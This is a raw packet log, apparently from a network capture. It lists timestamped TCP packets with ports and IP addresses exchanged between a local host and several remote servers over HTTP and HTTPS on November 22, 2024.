Nov 22, 2024 00:11:27.884083986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.884131908 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.885049105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.885102034 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.885183096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.885227919 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.885960102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.886014938 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.886087894 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.886137009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.886966944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.887010098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.887017012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.887041092 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.887912035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.887967110 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.934218884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.934283018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.934334040 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.934377909 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.934482098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.934534073 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.934591055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.934636116 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.935468912 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.935517073 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.935590982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.935637951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.936475992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.936522007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.936647892 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.936693907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.937414885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.937474966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.937510967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.937550068 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.938391924 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.938451052 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.938494921 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.938543081 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.939374924 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.939428091 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.939471960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.939518929 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.940371990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.940422058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.940459967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.940512896 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.941355944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.941432953 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.941572905 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.941618919 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.942368984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.942413092 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.942604065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.942657948 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.943366051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.943401098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.943418026 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.943450928 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.944344997 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.944403887 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.944473028 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.944523096 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.945528984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.945583105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.945655107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.945719004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.946300983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.946365118 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.946449995 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.946501017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.947263002 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.947330952 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.947392941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.947448969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.948214054 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.948282957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.948355913 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.948466063 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.949197054 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.949253082 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.949382067 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.949435949 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.952426910 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.952487946 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.952562094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.952610016 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.952982903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.953017950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.953036070 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.953061104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.953910112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.953963995 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.954112053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.954169035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.954906940 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.954962015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.955022097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.955071926 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.955845118 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.955904007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.955950975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.955996037 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.956830025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.956887007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.957010984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.957055092 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.957861900 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.957911015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.957922935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.957959890 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.994302988 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.994388103 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.994496107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.994554043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.994827032 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.994863987 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.994879961 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.994909048 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.995760918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.995821953 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.995904922 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.995959044 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.996728897 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.996823072 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.996875048 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.996927977 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.997637987 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.997695923 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:28.320116043 CET	443	49711	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:28.320883989 CET	49711	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:28.320913076 CET	443	49711	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:28.321502924 CET	49711	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:28.321510077 CET	443	49711	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:28.614109993 CET	443	49713	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:28.614255905 CET	443	49712	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:28.614768028 CET	443	49714	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:28.659601927 CET	49713	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:28.659610987 CET	49712	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:28.659648895 CET	49714	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:28.689603090 CET	49713	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:28.689625025 CET	443	49713	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:28.690418005 CET	49713	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:28.690423965 CET	443	49713	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:28.692413092 CET	49712	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:28.692424059 CET	443	49712	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:28.692972898 CET	49712	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:28.692989111 CET	443	49712	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:28.722232103 CET	49714	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:28.722243071 CET	443	49714	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:28.722799063 CET	49714	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:28.722804070 CET	443	49714	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:28.932658911 CET	443	49711	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:28.932766914 CET	443	49711	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:28.932828903 CET	49711	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:28.952629089 CET	443	49715	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:28.994996071 CET	49715	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:29.007610083 CET	49711	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:29.007651091 CET	443	49711	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:29.007668018 CET	49711	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:29.007675886 CET	443	49711	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:29.008965969 CET	49715	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:29.008965969 CET	49715	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:29.008979082 CET	443	49715	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:29.009001017 CET	443	49715	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:29.063040972 CET	443	49712	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:29.063110113 CET	443	49712	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:29.063184023 CET	49712	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:29.064275980 CET	443	49713	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:29.064338923 CET	443	49713	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:29.064430952 CET	49713	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:29.068803072 CET	443	49714	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:29.068883896 CET	443	49714	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:29.068962097 CET	49714	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:29.094954014 CET	49714	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:29.094954014 CET	49714	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:29.094975948 CET	443	49714	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:29.094985962 CET	443	49714	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:29.141066074 CET	49712	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:29.141066074 CET	49712	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:29.141088963 CET	443	49712	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:29.141098022 CET	443	49712	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:29.141098976 CET	49713	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:29.141098976 CET	49713	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:29.141130924 CET	443	49713	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:29.141144991 CET	443	49713	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:29.230003119 CET	49716	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:29.230057955 CET	443	49716	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:29.230143070 CET	49716	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:29.334697962 CET	49716	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:29.334722996 CET	443	49716	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:29.397613049 CET	443	49715	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:29.397691011 CET	443	49715	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:29.397783995 CET	49715	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:29.408500910 CET	49720	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:29.408557892 CET	443	49720	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:29.408648014 CET	49720	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:29.462593079 CET	49721	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:29.462620974 CET	443	49721	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:29.462713957 CET	49721	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:29.564579964 CET	49715	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:29.564614058 CET	443	49715	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:29.564652920 CET	49715	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:29.564661980 CET	443	49715	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:29.565424919 CET	49720	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:29.565459013 CET	443	49720	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:29.573889017 CET	49721	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:29.573904037 CET	443	49721	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:29.598119020 CET	49722	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:29.598170996 CET	443	49722	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:29.598256111 CET	49722	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:29.607594013 CET	49723	443	192.168.2.5	172.217.21.36
Nov 22, 2024 00:11:29.607625008 CET	443	49723	172.217.21.36	192.168.2.5
Nov 22, 2024 00:11:29.607711077 CET	49723	443	192.168.2.5	172.217.21.36
Nov 22, 2024 00:11:29.608954906 CET	49723	443	192.168.2.5	172.217.21.36
Nov 22, 2024 00:11:29.608971119 CET	443	49723	172.217.21.36	192.168.2.5
Nov 22, 2024 00:11:29.610117912 CET	49724	443	192.168.2.5	172.217.21.36
Nov 22, 2024 00:11:29.610157967 CET	443	49724	172.217.21.36	192.168.2.5
Nov 22, 2024 00:11:29.610400915 CET	49724	443	192.168.2.5	172.217.21.36
Nov 22, 2024 00:11:29.610425949 CET	49724	443	192.168.2.5	172.217.21.36
Nov 22, 2024 00:11:29.610430956 CET	443	49724	172.217.21.36	192.168.2.5
Nov 22, 2024 00:11:29.611569881 CET	49725	443	192.168.2.5	172.217.21.36
Nov 22, 2024 00:11:29.611603022 CET	443	49725	172.217.21.36	192.168.2.5
Nov 22, 2024 00:11:29.611768007 CET	49725	443	192.168.2.5	172.217.21.36
Nov 22, 2024 00:11:29.611839056 CET	49725	443	192.168.2.5	172.217.21.36
Nov 22, 2024 00:11:29.611857891 CET	443	49725	172.217.21.36	192.168.2.5
Nov 22, 2024 00:11:29.615947962 CET	49726	443	192.168.2.5	172.217.21.36
Nov 22, 2024 00:11:29.615961075 CET	443	49726	172.217.21.36	192.168.2.5
Nov 22, 2024 00:11:29.616058111 CET	49726	443	192.168.2.5	172.217.21.36
Nov 22, 2024 00:11:29.616301060 CET	49726	443	192.168.2.5	172.217.21.36
Nov 22, 2024 00:11:29.616312981 CET	443	49726	172.217.21.36	192.168.2.5
Nov 22, 2024 00:11:29.622940063 CET	49727	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:29.622984886 CET	443	49727	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:29.623069048 CET	49727	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:29.633536100 CET	49722	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:29.633583069 CET	443	49722	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:29.636411905 CET	49727	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:29.636429071 CET	443	49727	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:30.494497061 CET	49730	443	192.168.2.5	172.202.163.200
Nov 22, 2024 00:11:30.494528055 CET	443	49730	172.202.163.200	192.168.2.5
Nov 22, 2024 00:11:30.494611025 CET	49730	443	192.168.2.5	172.202.163.200
Nov 22, 2024 00:11:30.496778965 CET	49730	443	192.168.2.5	172.202.163.200
Nov 22, 2024 00:11:30.496805906 CET	443	49730	172.202.163.200	192.168.2.5
Nov 22, 2024 00:11:31.052364111 CET	443	49716	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:31.053106070 CET	49716	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:31.053132057 CET	443	49716	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:31.053741932 CET	49716	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:31.053751945 CET	443	49716	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:31.345443964 CET	443	49723	172.217.21.36	192.168.2.5
Nov 22, 2024 00:11:31.345844984 CET	49723	443	192.168.2.5	172.217.21.36
Nov 22, 2024 00:11:31.345860958 CET	443	49723	172.217.21.36	192.168.2.5
Nov 22, 2024 00:11:31.347058058 CET	443	49723	172.217.21.36	192.168.2.5
Nov 22, 2024 00:11:31.347182989 CET	443	49725	172.217.21.36	192.168.2.5
Nov 22, 2024 00:11:31.347223043 CET	49723	443	192.168.2.5	172.217.21.36
Nov 22, 2024 00:11:31.347815990 CET	443	49724	172.217.21.36	192.168.2.5
Nov 22, 2024 00:11:31.349761009 CET	443	49727	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:31.353014946 CET	443	49726	172.217.21.36	192.168.2.5
Nov 22, 2024 00:11:31.355505943 CET	443	49721	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:31.357981920 CET	443	49720	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:31.358761072 CET	49725	443	192.168.2.5	172.217.21.36
Nov 22, 2024 00:11:31.358778954 CET	443	49725	172.217.21.36	192.168.2.5
Nov 22, 2024 00:11:31.358932018 CET	49724	443	192.168.2.5	172.217.21.36
Nov 22, 2024 00:11:31.358942986 CET	443	49724	172.217.21.36	192.168.2.5
Nov 22, 2024 00:11:31.359014034 CET	49726	443	192.168.2.5	172.217.21.36
Nov 22, 2024 00:11:31.359019995 CET	443	49726	172.217.21.36	192.168.2.5
Nov 22, 2024 00:11:31.359894037 CET	443	49725	172.217.21.36	192.168.2.5
Nov 22, 2024 00:11:31.359985113 CET	49725	443	192.168.2.5	172.217.21.36
Nov 22, 2024 00:11:31.360023975 CET	49723	443	192.168.2.5	172.217.21.36
Nov 22, 2024 00:11:31.360044956 CET	443	49724	172.217.21.36	192.168.2.5
Nov 22, 2024 00:11:31.360116005 CET	49724	443	192.168.2.5	172.217.21.36
Nov 22, 2024 00:11:31.360150099 CET	443	49723	172.217.21.36	192.168.2.5
Nov 22, 2024 00:11:31.360527039 CET	443	49726	172.217.21.36	192.168.2.5
Nov 22, 2024 00:11:31.360624075 CET	49726	443	192.168.2.5	172.217.21.36
Nov 22, 2024 00:11:31.361121893 CET	49723	443	192.168.2.5	172.217.21.36
Nov 22, 2024 00:11:31.361135960 CET	443	49723	172.217.21.36	192.168.2.5
Nov 22, 2024 00:11:31.362653017 CET	49725	443	192.168.2.5	172.217.21.36
Nov 22, 2024 00:11:31.362751007 CET	443	49725	172.217.21.36	192.168.2.5
Nov 22, 2024 00:11:31.362808943 CET	49725	443	192.168.2.5	172.217.21.36
Nov 22, 2024 00:11:31.365371943 CET	49724	443	192.168.2.5	172.217.21.36
Nov 22, 2024 00:11:31.365444899 CET	443	49724	172.217.21.36	192.168.2.5
Nov 22, 2024 00:11:31.365458012 CET	49726	443	192.168.2.5	172.217.21.36
Nov 22, 2024 00:11:31.365573883 CET	49724	443	192.168.2.5	172.217.21.36
Nov 22, 2024 00:11:31.365581036 CET	443	49724	172.217.21.36	192.168.2.5
Nov 22, 2024 00:11:31.365596056 CET	443	49726	172.217.21.36	192.168.2.5
Nov 22, 2024 00:11:31.365643024 CET	49726	443	192.168.2.5	172.217.21.36
Nov 22, 2024 00:11:31.379439116 CET	49727	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:31.379475117 CET	443	49727	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:31.380557060 CET	49727	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:31.380578995 CET	443	49727	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:31.380805016 CET	49721	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:31.380816936 CET	443	49721	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:31.381536961 CET	49721	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:31.381542921 CET	443	49721	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:31.381958008 CET	49720	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:31.381989956 CET	443	49720	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:31.382339954 CET	49720	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:31.382344961 CET	443	49720	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:31.403335094 CET	443	49725	172.217.21.36	192.168.2.5
Nov 22, 2024 00:11:31.407335043 CET	443	49726	172.217.21.36	192.168.2.5
Nov 22, 2024 00:11:31.408868074 CET	49725	443	192.168.2.5	172.217.21.36
Nov 22, 2024 00:11:31.408880949 CET	443	49725	172.217.21.36	192.168.2.5
Nov 22, 2024 00:11:31.408895016 CET	49723	443	192.168.2.5	172.217.21.36
Nov 22, 2024 00:11:31.408896923 CET	49724	443	192.168.2.5	172.217.21.36
Nov 22, 2024 00:11:31.408896923 CET	49726	443	192.168.2.5	172.217.21.36
Nov 22, 2024 00:11:31.408910990 CET	443	49726	172.217.21.36	192.168.2.5
Nov 22, 2024 00:11:31.413677931 CET	443	49722	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:31.414242983 CET	49722	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:31.414261103 CET	443	49722	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:31.414882898 CET	49722	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:31.414887905 CET	443	49722	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:31.456584930 CET	49725	443	192.168.2.5	172.217.21.36
Nov 22, 2024 00:11:31.456657887 CET	49726	443	192.168.2.5	172.217.21.36
Nov 22, 2024 00:11:31.487234116 CET	49725	443	192.168.2.5	172.217.21.36
Nov 22, 2024 00:11:31.487430096 CET	443	49725	172.217.21.36	192.168.2.5
Nov 22, 2024 00:11:31.487500906 CET	49725	443	192.168.2.5	172.217.21.36
Nov 22, 2024 00:11:31.487853050 CET	443	49716	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:31.487940073 CET	443	49716	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:31.488035917 CET	49716	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:31.515592098 CET	49716	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:31.515614986 CET	443	49716	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:31.523536921 CET	49731	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:31.523564100 CET	443	49731	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:31.523638964 CET	49731	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:31.524250031 CET	49731	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:31.524261951 CET	443	49731	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:31.571613073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:31.571774006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:31.804609060 CET	443	49720	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:31.804671049 CET	443	49720	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:31.804752111 CET	49720	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:31.805788040 CET	443	49721	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:31.805838108 CET	443	49721	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:31.805923939 CET	49721	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:31.839093924 CET	443	49727	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:31.839163065 CET	443	49727	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:31.839252949 CET	49727	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:31.864865065 CET	443	49722	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:31.865026951 CET	443	49722	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:31.865115881 CET	49722	443	192.168.2.5	13.107.246.63
